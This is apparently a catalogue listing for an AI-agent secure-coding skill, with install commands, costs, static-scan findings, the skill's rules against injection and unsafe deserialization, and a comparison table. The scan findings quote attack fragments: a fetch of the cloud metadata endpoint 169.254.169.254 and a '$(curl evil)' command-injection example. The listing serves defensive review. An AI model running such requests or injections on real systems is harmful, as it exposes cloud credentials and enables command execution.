Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add catpilotai/catpilot-ai-guardrails --skill language-baselinegit clone --depth 1 https://github.com/catpilotai/catpilot-ai-guardrailsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/catpilotai/catpilot-ai-guardrails/language-baseline)<a href="https://agentmods.dev/skills/catpilotai/catpilot-ai-guardrails/language-baseline"><img src="https://agentmods.dev/badge/skills/catpilotai/catpilot-ai-guardrails/language-baseline/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/catpilotai/catpilot-ai-guardrails/language-baseline"><img src="https://agentmods.dev/badge/skills/catpilotai/catpilot-ai-guardrails/language-baseline.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00115 | $0.05168 |
| Opus 5.5 | $0.00046 | $0.02067 |
| Sonnet 5.5 | $0.00023 | $0.01034 |
| Haiku 4.5 | $0.00012 | $0.00517 |
Grade B, and why
language-baseline scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
fetches `http://169.254.169.254/latest/meta-data/` from the Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
`$(curl evil)` as a substitution. (Command injection — CWE-78.) Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
`subprocess.call(..., shell=True)`, and the shell treats How it starts
The opening of the file, as written. The whole thing — 571 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Baseline
Applies when: Writing or committing code that builds SQL from non-literal values, runs a subprocess/shell with non-literal arguments, writes input into the DOM/HTML, resolves a filesystem path from input, deserializes untrusted data, executes a string as code, bypasses type-system checks, or issues an outbound HTTP request to an input-derived URL.
Always:
- Route SQL values through driver parameter binding; never string concatenation, f-strings, template literals, or ORM raw-query helpers.
- Run subprocesses with an argv array and no shell (
shell=False); the command name is a literal or from an allowlist, never derived from input. - Write user-controlled values to the DOM/HTML only through escaping sinks (
textContent, notinnerHTML/document.write); sanitize with a vetted library when raw HTML is required. - Normalize input-derived filesystem paths: strip to basename, join against a known-safe directory, resolve symlinks, and reject anything outside that directory.
- Deserialize untrusted data only with type-constrained formats (
json.loads,yaml.safe_load); neverpickle.loads, unsafeyaml.load,Marshal.load,ObjectInputStream, orunserialize. - Never execute a string as code (
eval,new Function,setTimeout(stringArg)) or bypass type-system checks (as any,@ts-ignore) on external input. - Before an outbound HTTP request to an input-derived URL, check the host against an allowlist and reject internal/link-local IP ranges.
Never:
- SQL built by string concatenation, f-strings, or template literals with non-literal values.
subprocess/exec/systeminvoked with a single shell-interpreted string containing non-literal elements.innerHTML,document.write,dangerouslySetInnerHTML, or{{ x | safe }}fed with unsanitized user input.pickle.loads,yaml.load/yaml.unsafe_load,Marshal.load, orunserializeon external data.eval,new Function, or TypeScriptas any/@ts-ignoreused to bypass validation of external input.
Open the full component before acting: it has the examples, the remediation steps, and the detection patterns.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago Changed · +22 lines bb84f867f44b
- 2mo ago First seen · 549 lines · 115 tokens per session scan B 2739d0b76a92
language-baseline is a skill published in the GitHub repository catpilotai/catpilot-ai-guardrails (2 stars, last pushed 8d ago), licensed MIT. It adds 115 tokens to every session and 5,168 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it B with 3 findings (cloud metadata endpoint, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
language-baseline compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| language-baselinecatpilotai/catpilot-ai-guardrails | Skill | 2 | 8d ago | MIT | B | 115 | Claude Code |
| dcf-modelNousResearch/hermes-agent | Skill | 262k | today | MIT | A | 14 | Claude Code, Codex |
| baoyu-article-illustratorNousResearch/hermes-agent | Skill | 262k | today | MIT | A | 18 | Claude Code, Codex |
| flash-attentionNousResearch/hermes-agent | Skill | 262k | today | MIT | A | 14 | Claude Code, Codex |
| subagent-driven-developmentNousResearch/hermes-agent | Skill | 262k | today | MIT | A | 17 | Claude Code, Codex |
| mcporterNousResearch/hermes-agent | Skill | 262k | today | MIT | A | 16 | Claude Code, Codex |
| mem0-vercel-ai-sdkmem0ai/mem0 | Skill | 69k | yesterday | Apache-2.0 | A | 146 | Claude Code, Codex |